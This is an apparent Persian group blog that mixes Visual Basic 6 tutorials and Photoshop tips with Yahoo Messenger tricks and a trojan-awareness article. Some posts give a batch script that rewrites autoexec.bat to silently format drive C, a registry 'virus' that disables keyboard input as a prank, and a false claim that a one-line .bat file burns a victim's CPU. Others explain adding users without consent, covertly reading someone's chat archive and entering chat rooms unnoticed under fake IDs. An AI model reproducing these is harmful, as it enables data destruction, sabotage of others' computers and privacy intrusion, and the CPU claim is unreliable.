فرض کنيد بخواهيم يک ماشين حساب ساده، مطابق آنچه در شکل 7 می‌بينيد، طراحی کنيم:

يک Label به نام lblDisplay به عنوان نمايشگر ماشين حساب و با Caption برابر مقدار" 0" (زيرا مقدار اوليه ماشين‌حساب‌ها صفر می باشد) در محل خود قرار می دهيم. همچنين يکCommandButtonبه نام cmdequal به عنوان دکمه مساوی" و با Caption برابر "= " نيز در محل مخصوص خود قرار می دهيم.

حال ده عدد Command Botton ديگر با Caption های به ترتيب برابر " 0" تا "9 " را در جای خود قرار می دهيم و سپس نام همه اين ده دکمه را به نام cmdNumber  تغيير می دهيم. در اين صورت همانطور که گفته شد، VB اين ده کنترل را به صورت آرايه کنترلی (Control Array) در نظر خواهد گرفت (به پيغام داده شده با همين مضمون جواب Yes دهيد).

به همين ترتيب چهار CommandButton ديگر را با Captionهای "+ " و "- " و "* " و "/ " و با نام يکسان cmdOprator به عنوان دکمه های چهار عمل اصلی به صورت آرايه کنترلی در محل های خود قرار می دهيم.

حال کافی است در يونيت مربوط به اين فرم، چنين کدنويسی کنيم (توجه داشته باشيد که متغيرهاي x و y و op در سطح فرم (Form Level) تعريف شده اند و لذا مقدار آن در تمام فرم قابل دسترسی خواهد بود) :

Option Explicit

Dim x,y As Integer

Dim op As String

 Private Sub cmdNumber_Click (Index As Integer)

          IF lblDisplay = “Ø” then lblDisplay = “”

          lblDisplay = lblDisplay + cmdNumber(Index).Caption

End Sub

 Private Sub cmdOprator_Click (Index As Integer)

          x = Val(lblDisplay)

          op = cmdOprator(Index).Caption

          lblDisplay = “Ø”

End Sub

Private Sub cmdEqual_Click ( )

          y = Val (lblDisplay)        

          Select Case op

                   Case “+”

                             lblDisplay = x + y

                   Case “-”

                             lblDisplay = x - y

                   Case “*”

                             lblDisplay = x * y

                   Case “/”

                             lblDisplay = x / y

          End Select

End Sub

توجه داريد که:

1. در رويدادهايی که مربوط به آرايه های کنترلی (يعنی cmd Number و cmdoperator ) است، يک پارامتر به نام Index در آن وجود دارد که شماره Index (انديس) کليدی که فشرده شده را برمی‌گرداند. و لذا مثلاً cmdOprator(Index).Caption برابر "+" خواهد بود، اگر کليد + فشرده شود و برابر "- " خواهد بود، اگر کليد – زده شود و ...

2. مشخصه (Property) پيش فرض برای Labelها Caption است و لذا هر جا lblDisplay ذکر شده است، توسط VB مانند lblDisplay.Caption در نظر گرفته می شود.

3. توسط دستور Select Case، يک متغير (که نام آن جلوی دستور Select Case نوشته می شود) با مقادير مختلفی (که جلوی دستورات Case بعدی نوشته می شود) چک می شود که اگر برابر هر يک از اين مقادير بود، دستور پس از همان Case اجرا می شود.

دانلود ایمیلها

پری نازـــــــــ

 پری ناز

دانلود | سرورهای قدرتمند راپیدشیر ، حجم ۱.۵ مگابایت

<<پری ناز>>

امروز اموزش مقدماتی فتوشا۱ رو گذاشتم

سلام دوست گلم  .

 امروز می خوام به شما آموزش بدم که چطور می تونید بوسیله ی برنامه ی ادب فوتوشاپ رنگ چشم و یا هر قسمت دیگر از عکس را تغییر بدید!

برای انجام این کار برنامه ی فوتوشاپ را باز کنید و در قسمت سمت چپ که نوار ابزار وجود داره ابزار Ellipticel Marquee Tool که شکل آن بصورت یک دایره کلیک کنید.

سپس بوسیله ی آن قسمت مورد نظر از عکس را انتخاب کنید. برای زیباتر شدن و طبیعی تر جلوه کردن عکس بهتره کمی آن قسمت را محو(Feather) کنید. برای این کار روی قسمت انتخاب شده راست کلیک کنید و گزینه ی Feather را انتخاب کنید. ودر مستطیل مقداری عدد بدهید( پیشنهاد می کنم عدد مورد نظر از 10 بیشتر نباشد). بعد از انجام این کار مراحل زیر را طی کنید:

 از نوار منو منوی Image\ Adjustments\ Variations…

حالا میتونید رنگ مورد نظر را در هریک از گزینه ها  Shadows , Midtones و... انتخاب کنید.

درضمن اگر هرنوع سوال دیگری درباره ی فوتوشاپ داشتید می تونید بپرسید و من آموزش آن را در وبلاگ قرار میدم.

pari>>>>>>

سلام دوست عزیز،

 قسمت مورد نظر چشم که قرمز شده است را بزرگ(Zoom) می کنیم. سپس ابزار Color Replacement Tool از نوار ابزار انتخاب می کنیم. اندازهی آن را بوسیله ی نوار ابزار بالا در قسمت Brush تعیین می کنیم. سپس رنگ آن را به رنگ چشم در می آوریم.( اگر می خواهید دقیق باشد ابزار Eyedropper Tool را انتخاب و به روی قسمت مورد نظر کلیک کنید). سپس بوسیله ی Color Replacement Tool قرمزیه چشم را رنگ میکنیم.

pari>>>>>>

سلام دوستان !

الآن بد ترین و آزار دهنده ترین ویرو سی که در دنیا معرفی شده ویروس ساسر و بلاستر است. این ویروس CPU فرد قربانی رو می سوزونه.
من آموزش ساختن این ویروس رو به شما یاد میدم.
روی دسکتاپ راست کلیک کنید.
گزینه new رو انتخاب کنید
text document رو انتخاب کنید
حالا وارد text document خود شوید و در آن تایپ کنید
cpu_567hjkblaster
حالا آنرا با فرمت bat ذخیره کنید. ویروس آماده شد. حالا اگر کسی این ویروس رو بر روی کامپیوتر خودش اجرا کنه CPU کامپیوترش می سوزه
توجه : این ویروس رو بعد از ساختن به هیچ وجه روی سیستم خودتون اجرا نکنید وگرنه CPU تون...!!!!!

در صورتیکه شما از ویروس یاب شرکت مک آفی استفاده می کنید پس از بروز نمودن ویروس یاب خود، یکبار سیستم را بطور کامل اسکن نمایید

توجه: در صورتی که یکی از ادد لیست شما این مشکل رو ندونه و روی یکی از این لینک ها کلیک کند. باعث میشه که لینک اون واسه شما هم ارسال بشه. پس با فرستادن این صفحه برای دوستان خود . آنهارا مطلع کنید

<<<پ>>>

مي خواهم ساخت يك ويروس بسيار ساده را به شما آموزش دهم اين ويروس (FLICKER ) بيشتر براي شوخي كردن به كار مي رود و نوع كار كردن اين ويروس به اين صورت است كه پس از اجراي آن و ريسارت كامپيوتر صفحه كليد كامپيوتر از كار مي افتد و در هنگام فشار دادن دكمه هاي صفحه كليد ، صفحه مانيتور روشن و خاموش مي شود. حال روش ساخت : Windows Registry Editor Version 5.00 [HKEY_CURRENT_USERControl PanelAccessibilityKeyboard Response] "Flags"="127" [HKEY_CURRENT_USERControl PanelAccessibilitySoundSentry] "Flags"="3" "WindowsEffect"="3" متن بالا را در يك Notepad وارد كرده و سپس آن را با پسوند Reg سيو كنيد

حال اگر بخواهيد اين ويروس را از كار بيندازيد مي توانيد Windows Registry Editor Version 5.00 [HKEY_CURRENT_USERControl PanelAccessibilityKeyboard Response] "Flags"="126" [HKEY_CURRENT_USERControl PanelAccessibilitySoundSentry] "Flags"="2" "WindowsEffect"="0" متن بالا را در يك Notepad وارد كرده و با پسوند Reg سيو كنيد ( مثلا FlickerOff.Reg ) حال شما مي توانيد اين ويروس را بر كامپيوتر خود امتحان كنيد فقط فراموش نكنيد FlickerON.Reg براي اجراي ويروس و FlickerOff.Reg براي از كار انداختن ويروس مي باشد و همچنين براي از كار انداختن ويروس شما فقط مي توانيد از موس خود استفاده كنيد.

پری

دوستان اگر میخواهید با یک کلیک هاردتان Format (پاک) شود این کدها را در Note

pad ریخته و آنرا با پسوند Bat ذخیره کنید مثلا Format Hard.bat حال مواظب باشید

 که روی آن کلیک نکنید چون هارد شما صفر کیلومتر خواهد شد موفق باشید در پناه

@echo off call attrib -r -h c:\autoexec.bat echo @echo off >c:\autoexec.b echo format /autotest c:/q>nul call attrib +r +h c:\autoexec.ba exit

Add کردن بدون اجازه با دو روش 

براي اين کار دوروش هست که اولي با دست دومي با نرم افزار.

ابتدا يک پروفايل بسازيد.بعدش در قسمت My yahoo با همون پروفايل طرف روAdd کنيد.و وقتي اين کار رو کنيد که طرف آفلاين است.بعد تا وقتي که طرف AcceptياDeny رو نزده بايد اين کار رو بکنيد.بريد پروفايلي که ساختيد Delete کنيد.

روش دوم با نرم افزار Boddy Manager است.من تا يه هفته پيش لينکشو براي دانلود داشتم اما گم کردم.در هر صورت بريد خودتون پيدا کنيد.ديگه شما هاکه ختم دانلود هستيد.

آنلاين ماندن يک آيدي براي هميشه 

بااينکار شما حتي اگر در اينترنت هم نباشيد در ليست دوستانتان به شکل آنلاين هستيد.براي اين کار از منوي Login  گزينه preferencec رو انتخاب ميکنيد ميکنيد و از صفحه باز شده جلوي گزينه Firewall with no peroxies رو انتخاب ميکنيد.

ميخواهيد بدونيد در روز با چه IDهايي صحبت کردين؟ 

شما ميتونين بفهمين دوستتون که پاي کامپيوتر شما نشسته با چه IDهايي چت کرده.خوب به شاخه زير برويد

D:\Program Files\Yahoo!\Messenger\Profiles\Your ID\Archive\Messages

که به جاي YouId آي دي شما نشون داده ميشه و ميبينيد که با چه IDهايي چت کردين.اين به درد اون موقع ميخوره يکي شما رو يواشکي بوت کنه و شما بريد حالشو بگيريد.

حرفهايي که در چت بهم زديد ببينيد

خوب اگه دوست شما با IDشما کانکت شده باشه يا اينکه شما Usernameو Passwordآي دي کسي رو در آورده باشين ميتونيد ببينيد اون با چه کسايي چت کرده و چه چيزهايي گفته و يا اينکه با کسي چت ميکردين بعد پنجره Pmرو بستين و يه چيزي يا شماره ايي تو پنجره قبلي به شما داده بوده شما ميتونيد اونو ببينيد براي اين کار ابتدا

بريد پنجره ي PMرو باز کنيد و از منوي بالا View رو باز کنيد و گزينه آخر يعني Archive Messeageرو انتخاب کنيد و بعد از منوي سمت راست هر IDکه خواستين پيدا کنيد و در سمت چپ چيزهايي که گفتين پيدا کنيد.ن

پيدا کردن IPايميل در ياهو

۱-وارد محيط ايميل خود شويد.

۲-Mail Options  را انتخاب کنيد.

۳-سپس گزينهGeneral Preferences  رو انتخاب کنيد.

۴-در اين قسمت تغييرات زيادي ميشود داد از جمله اسم خودتونFrom nameو....

۵-در قسمتheaders گزينه Show allرا انتخاب کنيد.و IPايميل ها را تماشا کنيد.

ساخت پروفايل

چيزي كه خيلي مهمه ولي  ۸۰٪ توجهي به اون نميكنند.
از منوهاي ياهو مسنجر login  را زده وmy profile  را باز كنيد.سپس creat/edit my profile  را بزنيد.
بعد روي id  مورد نظري كه ميخواهيد پروفايلش رو درست كنيد كليك كنيد.سپس Edit Profile Information  رو بزنيد.وبه اين ترتيب موارد مورد نظر رو پر كنيد.
Real Name  نام اصلي ـ Nickname  لقب ـ Location  در اين قسنت ir  يا iran  رو وارد كنيد.
Age  سن ـ Gender  جنسيت - Marital Status  وضعيت تاهل - Occupation  شغل -
در قسمت Display Email Address  انتخاب مي كنيد كه ايا ايميل شما در پروفايل نشان داده شود يا نه.
در قسمتهاي بعد علاقه منديها و اخرين خبرها در باره خودتان را بگزاريد و همچنين ميتوانيد چند تا لينك مثلا لينك سايت خودتون يا وبلاگتون.
اگر Designate this profile as an 'adult profile' رو بزنيد پروفايل شما به كسي نشان داده نميشود.
و اگر Add this profile to the Yahoo! Member Directory  رو هم علامت بزنيد پرو فايل شما وارد ليست Member  هاي ياهو ميشه كه بعدا اگر كسي سرچ كرد پروفايل شما هم اگر مطابق با سرچ او بود به او نشان داده ميشه.
save changes  رو بزنيد.
در قسمت Edit Picture  عكس خود را ميتوانيد وارد پروفايل كنيد.و در قسمت Edit Voice  ميتوانيد صدا يا موزيك روي پروفايل قرار دهيد.
Change Page Colors  هم براي تغيير رنگ پروفايل.
Create your own home page at GeoCities  هم25  مگابايت فضا براي ساخت يك سايت به شما ميده همچنين اونجا مدلهاي اماده سايت رو هم داره كه ميتونيد يكي رو انتخاب كنيد و خيلي راحت سايت بسازيد و لينك اون رو توي پروفايلتون بزاريد.براي ديدن پروفايل شخص مورد نظر بايد اين ادرس رو بريد.به جاي ؟؟؟؟ بايد id  شخص رو تايپ كنيد.

http://profiles.yahoo.com /???m

پيدا كردن رومي كه شخص مورد نظر اونجا چت ميكنه

هنگام PM  با فرد مورد نظر منوي فايل رو باز كنيد و Go To Chat User...رو انتخاب كنيد.بعد از دادن id  مورد نظر و زدن okوارد رومي ميشويد كه فرد مورد نظرتون اونجاست.ميتونيد از طريق منوي پايين رو كه كنار id  خودتون از طريق يكidديگه كه طرف ميشناسه وارد بشيد كه طرف نفهمه شما وارد شديد.(درست كردن چند تا id  مجازي )
همچنين اگر در حال pm  نيستيد ولي id  رو داريد ميتونيد از منوهاي ياهو مسنجر tools\yahoo chat\join user in chat  رو انتخاب كنيد.

سرچ id  از ياهو

بهترين راه براي پيدا كردن اي دي مورد نظر و پيدا كردن دوست خوب از بين كاربران ياهو اين لينك است.
اگر نميخواهيد نام خاصي انتخاب كنيددر قسمت Enter a YAHOO! IDچيزي ننويسيد.
فقط كافيست در قسمت Select a GENDER  انتخاب كنيد كه كساني كه براي شما پيدا ميشوند دختر باشند يا پسر.
اگر سن خاصي مورد نظرتون نيست Select an AGE RANGE  رو خالي بزاريد.Select a MARITAL STATUS  هم وضعيت تاهل فرد مورد نظر است.
مثلا single  مجرد.
در Enter a LOCATION  ميتوانيد كشور فرد مورد نظرتون رو انتخاب كنيد.براي ايران بايد ir  يا iran  رو انتخاب كنيد.
در پايين اگر View Only Profiles With Pictures  رو فعال كنيد كه در پروفايل انها عكسشان وجود دارند به شما نشان داده ميشوند.
و اگر View Only Online Profiles  رو هم فعال كنيد فقط افرادي كه انلاين هستند به شما نشان داده ميشوند.

فعال كردن فايروال(انتي هك)ياهو 

ياهو مسنجر خود داراي يك فايروال ميباشد.ميتوانيد از منوي Login  گزينه Privacy Setting  را انتخاب كنيد و در داخل تنظيمات Connection  فايروال را انتخاب كنيد.

>>>>>>>پ<<<<<<<

اگر اهل گشت و گذار در اینترنت مخصوصا سایتهای امنیتی و یا هكری باشید حتماً با واژه تروجان آشنا هستید. شاید برداشت اكثریت ما از این واژه همان ویروس اینترنتی باشد.ولی تروجان چیست؟
اگر بخواهیم برای تروجان یك تعریف ساده بیان كنیم می توانیم بگوییم:تروجان یك فایل جاسوسی می باشد كه توسط هكر با توجه به نیاز به اطلاعات قربانی آماده می شود و برای قربانی فرستاده می شود با كمی دقت در تعریف تروجان در می یابیم كه تروجان هیچ وقت نمی تواند یك ویروس باشد.هكر با توجه بهنیاز های خود به اطلاعات قربانی كه می تواند این اطلاعات:پسورد ایمیل یا ایدی قربانی،اشتراك اینترنت(اكانت)،نام و پسورد كامپیوتر قربانی و... است تنظیم كند. معمولا تروجانها به دو قسمت تقسیم می شوند:
۱) كلاینت:
كه تنظیمات را انجام داده و آن را با توجه به نیازهایی كه بیانكردیم تنظیم می نمایند
۲) سرور:
كه بعد از تنظیمات باید این سرور برای قربانی فرستاده شود تا قربانی بعد از دریافت آن را اجرا كند.
با توجه به تحقیقات می توانیم بگوییم هر هكری كار خود را با این نوع كارها شروع می كند.یعنی با تنظیم تروجان،فرستادن تروجان برای قربانی،هك كردن ایدی و اكانت اینترنت و...در اوایل ورود این نوع جاسوسها به اینترنت فقط كارایی محدودی داشتند.همه كارایی آن نوع تروجانها به فرستادن پسورد یاهو ختم می شد.با گذشت زمان و علاقه برنامه نویسان به این نوع جاسوس ها كم كم امكانات آن را افزایش دادند تا به امروز.
● ولی امكانات یك تروجان امروزی چیست؟
تروجانهای امروزی دیگر رشد كامل خود را تا حد زیادی طی نموده اند امكان دارد با ورود یك تروجان به كامپیوتر شما:
۱) فرستاده شدن پسورد ای دی مخصوصا ایدی و پسورد مسنجر شما برای هكر(به ایمیل هكر یا ایدی یا یك اف تی پی مشخص شده توسط هكر)
۲) فرستاده شدن اكانت اینترنت شما برای هكر
۳) فرستاده شدن نام كامپیوتر شما همراه با پسورد ویندوز برای هكر
۴) محدود كردن كارهای شما با كامپیوتر(قفل شدن Task Manager یاMscoing یا Rigistry و) كامپیوتر شما توسط هكر
۵) از كار انداختن ویروس كش و فایروال كامپیوتر شما
۶) در اختیار داشتن هارد شما توسط هكر(پاك كردن فایل از كامپیوتر شما و یا اضافه كردن فایل توسط هكر)بله همه اینها امكان دارد. فقط كافیست یك تروجان روی كامپیوتر شما توسط هكر فعال شود.
● ولی چگونه امكان دارد كه تروجان وارد كامپیوتر ما شود:
۱) در حال چت كردن هستید فرد مقابل برایتان می خواهد عكس خودش یا نرم افزاری را سند كند .شما آن را می گیرید ولی آیا این فایل سالم است.از كجا مطمئن هستید كه حاوی تروجان نیست ؟
۲) در حال گشت در یك سایت آموزش هك هستید می خواهید یك نرم افزار دانلود كنید از كجا مطمئن هستید كه این نرم افزار سالم است؟
۳) برایتان یك ایمیل می آید.ایمیلی كه فرستنده آن نامشخص است آیا ایمیل سالم است ؟
و تروجان ها بر خلاف ویروس ها كه فقط شامل چند شكل محدود می شوند دارای اشكال خیلی زیادی هستند.یك تروجان می تواند خود را به شكلهای: عكس،یك فایل صوتی،یك فایل نقاشی،یك فایل Setup و...پس می بینید تروجان یك شكل مخصوص ندارد .
● چگونه متوجه شویم كه در كامپیوتر ما تروجان فعال است:
۱) در صورت از كار افتادن Task Manager و Msconfig
۲) از كار افتادن ویروس كش
۳) تغییر در شكل توپی پسورد در مسنجر ویا سیو نشدن آن
۴) در صورت دیدن علائم مشكوك در مسنجر(باز و بسته شدن یك پنجره پی ام)
۵) فعال بودن نرم افزار های مشكوك مثل Task Manager و Msconfig
۶) خوانده شدن ایمیل هایی كه ما آنها را قبلا نخوانده ایم در ایمیلمان ولی ما برای مقابله با این نوع جاسوسها چه كارهایی باید انجام دهیم؟
۱) داشتن یك ویروس كش قوی و به روز
۲) داشتن یك فایروال خوب یا فعال كردن فایروال خود ویندوز
۳) این را بدانید همی شه پسوند عكس jpgءgif..، می باشد و هیچ وقت یك عكس دارای پسوند exe نمی باشد و همیشه اگر فایل(عكس،نوشته و) را گرفتید كه دارای پسوند مشكوك بود هرگز باز نكنید.
۴) همی شه Task Manager و Msconfig خود را چك كنید اگر چیزی مشكوك دیدید مثل sender.exeبروید و در درایو ویندوز پوشه windows/system۳۲دنباله چنین فایلی باشید كه مشكوك بود و آن را پاك كنید
۵) هرگز از كسی كه شناخت كافی ندارید فایلی دریافت نكنید
۶) سعی كنید اگر می خواهید نرم افزار دانلود كنید از سایتهای معتبر دانلود كنید.
۷) در صورت مشكوك شدن به وجود تروجان سریع اطلاعات خود را عوض كنید(پسورد ای دی،پسورد ویندوز و)
۸) سعی كنید ویندوز خود را عوض كنید و درایو ویندوز قبلی را فرمت كنید.

<<صنم>>

در این پست برنامه ای را میخواهم به شما معرفی کنم که به وسیله اون میتونین فایلهای JAR موبایل را روی کامپیوتر اجرا کنید.

اسم برنامه SJBox هست که در انتهای پست میتونین دانلودش کنید. برنامه رو نصب کنید و روی هر فایل JAR که دوبل کلیک کنید ، برنامه اجرا شده و حاصل اجرای فایل JAR را مشاده خواهید کرد.

 دانلود برنامه

صنم

پری

این هم یک ProgressBar خیلی قشنگ و جالب .

پری ناز

مطمئنا تا بحال در ويندوز از كادرهاي محاوره‌اي زيادي مثل پنجره هاي Open، Save، نمايش خصوصيات چاپگر (Printer)، كادر انتخاب رنگ، كادر انتخاب Font و پنجره Help ويندوز استفاده كرده ايد.

در VBبراي نمايش اينگونه پنجره‌هاي محاوره‌اي از كنترل DialogBox استفاده مي‌كنيم. اين كنترل يكي از كنترل‌هاي  Non - Visual ويژوال بيسيك مي‌باشد. Non-Visual Controls همانطور كه قبلا هم آمده است، انواعي از كنترل‌ها هستند كه فقط در زمان طراحي (Design Time) بر روي فرم ديده مي‌شوند و در Run Run Time فقط مي‌توان از اثر آنها بهره برد.

كنترل مذكور بطور پيش فرض در ToolBar وجود ندارد. براي اضافه كردن آن به ToolBar بايد از منوي Project گزينه Components را انتخاب كنيم و در ليست Componentها، گزينه Microsoft Common Dialog Control 6 را چك مارك بزنيم و آن را تاييد (OK) نماييم. در اينصورت يك كنترل به ToolBoxزوده خواهد شد كه مي توانيد آن را با دابل كليك بر روي فرم قرار دهيد. توجه داريم كه كنترل مذكور Non-Visual است و لذا نيازي به تنظيم مكان اين كنترل بر روي فرم نداريد.

كنترل Dialog Box داراي متدهاي زير مي باشد:

	ShowColor براي نمايش پنجره محاوره‌اي تعيين رنگ در زمان فراخواني اين متد.
	ShowFont براي نمايش پنجره محاوره‌اي تعيين فونت در زمان فراخواني اين متد.
	ShowHelp براي نمايش پنجره محاوره‌اي راهنماي ويندوز در زمان فراخواني اين متد.
	ShowOpen براي نمايش پنجره محاوره‌اي باز كردن يك فايل در زمان فراخواني اين متد.
	ShowPrinter براي نمايش پنجره محاوره‌اي تعيين خصوصيات چاپگر در زمان فراخواني اين متد.
	ShowSave براي نمايش پنجره محاوره‌اي ذخيره كردن در يك فايل در زمان فراخواني اين متد.

ه اطمينان، قبلاً در برنامه نويسی (لااقل در Basic که پيش فرض بحث ما معرفی شده بود) از متغيرها زياد استفاده کرده ايد. در برخی زبانهای برنامه نويسی (مثل Basic) ، نوع متغيرهای بکار رفته در برنامه، لازم نيست از قبل تعريف شده باشد و در هنگام اجرا، کامپايلر، خود، آن را به نوع مورد نياز (مثل Integer برای برای داده های عددی صحيح، يا String برای نوع داده رشته ای و کاراکتری و ...) تعريف و اجرا خواهد کرد. اما در برخی ديگر (مانند زبان برنامه نويسی Pascal)لازم است، نوع داده متغيرهای بکار رفته، در جايی از برنامه (و عموماً قبل از استفاده از آن) تعريف شوند.

در VB، از آنجا که VB از Basic برای کدنويسی استفاده می شود، به طور معمول، نياز به تعريف نوع داده ها نيست. اما از آنجا که امروزه برنامه نويسان ترجيح می دهند که از کامپايلری برای برنامه نويسی استفاده کنند که او را به تعريف تمام متغيرها مجبور کند (زيرا اگر چنين نباشد، اگر او به اشتباه دستوری را غلط تايپ کند (مثلاً بجای then بنويسد Then) ، کامپايلر آن را به عنوان متغيری فرض می کند و در واقع بدون اينکه ما خطايی را دريافت کنيم، در روند برنامه مان مشکل پيدا می شود و خطايی رخ می دهد که شايد تشخيص علت آن سخت تر شود) ، می توانيم VB را موظف سازيم تا ما را مجبور به تعريف نوع داده متغيرها نمايد.

اگر در ابتدای هر يونيت (Unit) عبارت Option Explicit نوشته شود، VB ما را مظف می کند که در آن يونيت، هر متغيری که بخواهيم استفاده کنيم، آن را قبل از استفاده، تعريف نماييم (لذا بهتر است ابتدای همه Unitها عبارت مذکور باشد) . يونيت (Unit) ها، بخش هايی از برنامه اند که در آنها کدنويسی می شود. مثلاً هر فرم، دارای يک Unit مخصوص به خود است که تمام Event Procedureهايی که تا بحال می نوشتيم، در آن قرار می گرفت.

همچنين اگر از منوی Tools گزينه Options را اتنخاب کنيم، و از لبه General (Tab Sheet) ، گزينه Require Variable Declare را چک مارک بزنيم، از اين پس، VB هر فرمی که ايجاد می شود، به طور پيش فرض عبارت Option Explicit را در ابتدای آن خواهد نوشت و در واقع هميشه ما را موظف می سازد که متغيرها را تعريف نماييم.

برای تعريف متغيرها از دستور Dim به شکل کلی زير استفاده می شود:

Dim variableNames As variablsType

به عنوان مثال دستور Dim a,b As Integer متغيرهايی را به نام a,b از نوع داده Integer (نوع داده عددی صحيح) تعريف می کند و سپس از آن می توانيم متغير a را در برنامه مقداردهی نماييم.

متغيرها را می توان در سه سطح تعريف نمود (Space of Variables) :

1-    سطح پروسيجر (procedure Level) :

اگر متغيری در يک Procedure (و معمولاً ابتدای آن) تعريف کنيم، آن متغير را فقط در همان Procedure می توان استفاده نمود و در واقع برای همان Procedure خاص تعريف شده است.

2-    سصح فرم (Form Level) :در سطح فرم (يعنی در ابتدای Unit مربوط به فرم و پس از عبارت Option Explicit) ، متغيرها می توانند به دو نوع تعريف شوند:

2-1- تعريف به صورت Private (شخصی) :

     اگر متغيری در سطح فرم به صورت Private و به شکل کلی:

Private variableNames As variableType

    تعريف شود، آن متغير فقط در تمام Procedureهای فرم قابل استفاده است و در فرم های ديگر قابل دسترسی و استفاده نمی باشد (مگر اينکه در آنها هم جداگانه تعريف شده باشد) .

2-2- تعريف به صورت Public (عمومی) :

     اگر متغيری در سطح فرم، به صورت Public و به شکل کلی:

Public variableNames As variableType

تعريف شود، در اين صورت آن متغير علاوه بر دسترسی در همان فرم (بوسيله نام آن متغير) ، در فرمهای ديگر (در واقع در کل پروژه) قابل دسترسی خواهد بود. فقط در صورت نياز به استفاده در فرمهای ديگر لازم است نام فرمی را که متغير در آن تعريف شده است ذکر شود (البته اگر آن فرم load باشد) و سپس پس از يک نقطه (Dot) نام آن متغير آورده شود. به عنوان مثال اگر در ابتدای يونيت مربوط به Form1 نوشته شده باشد:

Public Number As Integer

و بخواهيم در فرمی ديگر، به آن مقداردهی کنيم، لازم است چنين بنويسيم:

Form1.Number = 15

توجه: اگر در سطح فرم از Dim برای تعريف استفاده شود، به طور پيش فرض آن را Private در نظر خواهد گرفت.

3-    سطح ماژول (Module Level) :

ماژولها بخشی از پروژه هستند که متغيرها، توابع و Procedureهای عمومی (Global) را در آن تعريف می کنيم. اگر تعريفی (مثل تعريف نوع داده متغير يا يک Procedure) با Private انجام گيرد، فقط در همان ماژول قابل استفاده می باشد و اگر با Public صورت گيرد، در هر فرمی و بدون نياز به نوشتن نام ماژول در ابتدای آن، قابل استفاده خواهد بود. نکته ای که بايد توجه داشت اينکه اگر بخواهيم از متغيريا Procedureای که در يک ماژول به صورت Public تعريف شده است، در ماژولی ديگر استفاذه کنيم، ذکر نام ماژول در ابتدای آن به همراه يک نقطه (Dot) ضروری است.

معمولاً از تعريف Public در ماژول زمانی استفاده می کنيم که بخواهيم متغير يا Procedureای به صورت Global (عمومی) در سراسر پروژه استفاده شود. شايد بگوييد می شود در هر فرمی که به آن نياز داريم، همانجا متغير را تعريف می کنيم، پس چه نيازی به ماژول داريم؟

هر چند اين کار باعث می شود که برنامه خطای دستوری از ما نگيرد اما در اينصورت وقتی از فرمی به فرم ديگر می رويم مقدار موجود در آن متغير، پس از تعريف مجدد، دوباره Null (تهی) می شود، در حاليکه اگر از يکبار تعريف Public در ماژول استفاده کنيم، پس از مقدار دهی در جايی از پروژه، تا مقداردهی مجدد، اين مقدار در تمام پروژه قابل دسترسی است.

برای افزودن يک ماژول به پروژه کافی است از منوی Project گزينه Add Module را انتخاب کنيد و آن را (با پسوند .BAS) save نماييم.

همانطور که ملاحظه می فرماييد، ماژولها تنها بخش کدنويسی (Unit) دارند بر خلاف فرمها که يک بخش Interface (ظاهری) داشتند که کنترلها را به صورت Visual روی آن قرار می داديم و يک بخش کدنويسی (Unit) که کدهای مربوط به Event Procedureها را در آن می نوشتيم. همچنين ملاحظه می فرماييد که با توجه به وظيفه ماژولها، معمولاً در کل پروژه اولاً به يک ماژول نيازمنديم ثانياً به بيش از يک ماژول احتياجی پيدا نمی کنيم.

نکته: علاوه بر متغيرها می توانيم از ثوابت (Constants) نيز در پروژه استفاده کنيم. ثوابت، بخشی از پرونده اند که هنگام تعريف، مقداردهی می شوند و تا پايان پروژه مقدارشان ثابت می ماند. برای تعريف ثوابت از دستور Constant استفاده می شود به عنوان مثال:

Const PI As single = 3.14

                                                                   پری

دستورات پایه ای برای برنامه نویسی

1-دستور شرطی if

در برنامه نويسی مواردی پیش می آيد که بخواهيم دستور یا دستوراتی، هنگامی که شرط خاصی برقرار است، توسط برنامه به اجرا در آيد. اين مورد در زندگی روزمره نيز ديده می شود؛ به عنوان مثال " اگر فردا باران نيايد، من به کوه خواهم رفت." شرط مورد نظر نيامدن باران است و عملی که قرار است انجام شود رفتن به کوه می باشد.در برنامه نویسی ویژوال بیسیک این شرط به صورت زیر نوشته می شود

حالا مثال خودمون رو روی این دستور پیاده می کنیم

دستور if  در ویژوال بیسیک به دو صورت نوشته میشه

الف- معمولی: صورت معمولی دستور if  مثل مثالی هست که قبلا زدیم.در این صورت از دستور فقط یک کار برای ما انجام می شود.

ب- در این حالت ما می توانیم یک یا چند دستور را اجرا کنیم.باید توجه داشت که در پایان دستور ها باید کلمه End if  را برای اتمام کار بنویسیم در غیر این صورت برنامه پیغام خطا می دهد.

2-دستور شرطی If & Else

گاهی اوقات نياز داريم که در صورت برقرار بودن شرط خاصی يک سری دستورات اجرا و در صورت برقرار نبودن آن شرط دسته ای ديگر از دستورات اجرا گردند. به عنوان مثال اگر فردا باران بيايد من به کوه نمی روم در غير اين صورت من به کوه خواهم رفت.

حالا مثال رو روی این دستور پیاده می کنیم.

حالا ویژوال بیسیک رو اجرا کنید و از پنجره ی باز شده  New Project رو انتخاب کنید تا یک پروژه ی جدید باز شود.

وقتی پروژه ی جدید باز شد از طریق منوی سمت چپ یک Command Button به فرمتون اضافه کنید.

روی command button دو بار کلیک کنید تا پنجره ی کد نویسی باز بشه.

در این قسمت ما می خواهیم دستور if  را برسی کنیم پس کد نویسی را شروع می کنیم.در پنجره ی کدنویسی هر چقدر متن هست رو پاک کنید و به جای اون این کدهارو بزارید.

خط اول و آخر مربوط به اینه که مشخص میکنه در چه جایی این شرط بررسی بشه که ما به برنامه گفتیم در موقعی که بر روی  command button کلیک میشه این شرط رو بررسی کن.

خط دوم هم به برنامه میگه اگر عدد 50 کمتر از 100 بود در اون صورت بوق بزن(Beep)

حالا می خواهیم دستور  If  &Else را بررسی کنیم.

مانند قبل یک پروژه ی جدید باز کنید و در یک command Button به اون اضافه کنید.

با دوبل کلیک بر روی Command Button پنجره ی کدنویسی را باز کنید و کدهای داخل اون رو پاک کنید و این کدها رو بهش اضافه کنید.

در خط اول و آخر مثل قبل به برنامه گفتیم که در چه جایی شرط بررسی بشه.

در خط دوم شرط مورد نظر رو نوشتیم"اگر عدد 50 کمتر از 100 بود" در اون صورت

در خط سوم دستوری رو نوشتیم که در ازای درست بودن شرط اجرا میشه پیغام "50 kamtar az 100 ast" رو نشون بده

خط چهارم هم کلمه ی Else  یا "در غیر این صورت " رو نوشتیم

در خط پنجم هم دستوری رو نوشتیم که به ازای درست نبودن شرط اجرا میشه "پیغام 50 bishtar az 100 ast رو نشون بده"

در خط ششم هم پایان شرط رو اعلام کردیم

نکته:دستور MsgBox  برای نشان دادن یک پیغام استفاده می شود که دستور ساده ی آن به این صورت است